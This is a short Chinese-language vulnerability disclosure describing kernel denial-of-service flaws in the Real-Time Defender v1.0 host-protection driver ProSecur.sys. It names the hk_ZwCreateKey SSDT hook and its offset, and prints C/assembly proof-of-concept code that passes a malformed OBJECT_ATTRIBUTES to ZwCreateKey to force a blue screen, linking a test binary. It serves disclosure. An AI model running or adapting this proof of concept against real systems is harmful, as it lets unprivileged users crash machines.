Real-Time Defender v1.0 多处内核拒绝服务漏洞
作者:MJ0011
Real-time Defender Professional(简称RTD)是一款主机入侵防护系统。
RTD的最新版本v1.0中存在多处内核拒绝服务漏洞,可导致任意权限用户在安装了RTD的系统上可引发蓝屏。
出问题的组件:ProSecur.sys ,版本:1.1.1.0,CheckSum = 0x00046c99 , TimeStamp = 0x48a51de8
该问题同之前Malware defender的问题类似(http://hi.baidu.com/mj0011/blog/item/464aad31aed4f7ae5fdf0e4f.html)RTD在很多SSDT HOOK函数中,对参数检查不够严格,就将参数传递给系统的 ZwXxx函数,结果引发蓝屏。
示例函数:hk_ZwCreateKey
偏移:0x21f56
测试代码:
WCHAR xx[] = L”xxxx_fuck_rtd”;
HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwCreateKey”);
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = xx;
strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;
InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);
__asm{
push 0
push 0
push 0
push 0
lea eax,oba
push eax
push 0
push 0
call p
}
return ;
测试程序下载:http://mj0011.ys168.com 漏洞演示目录下BSOD_rtd.rar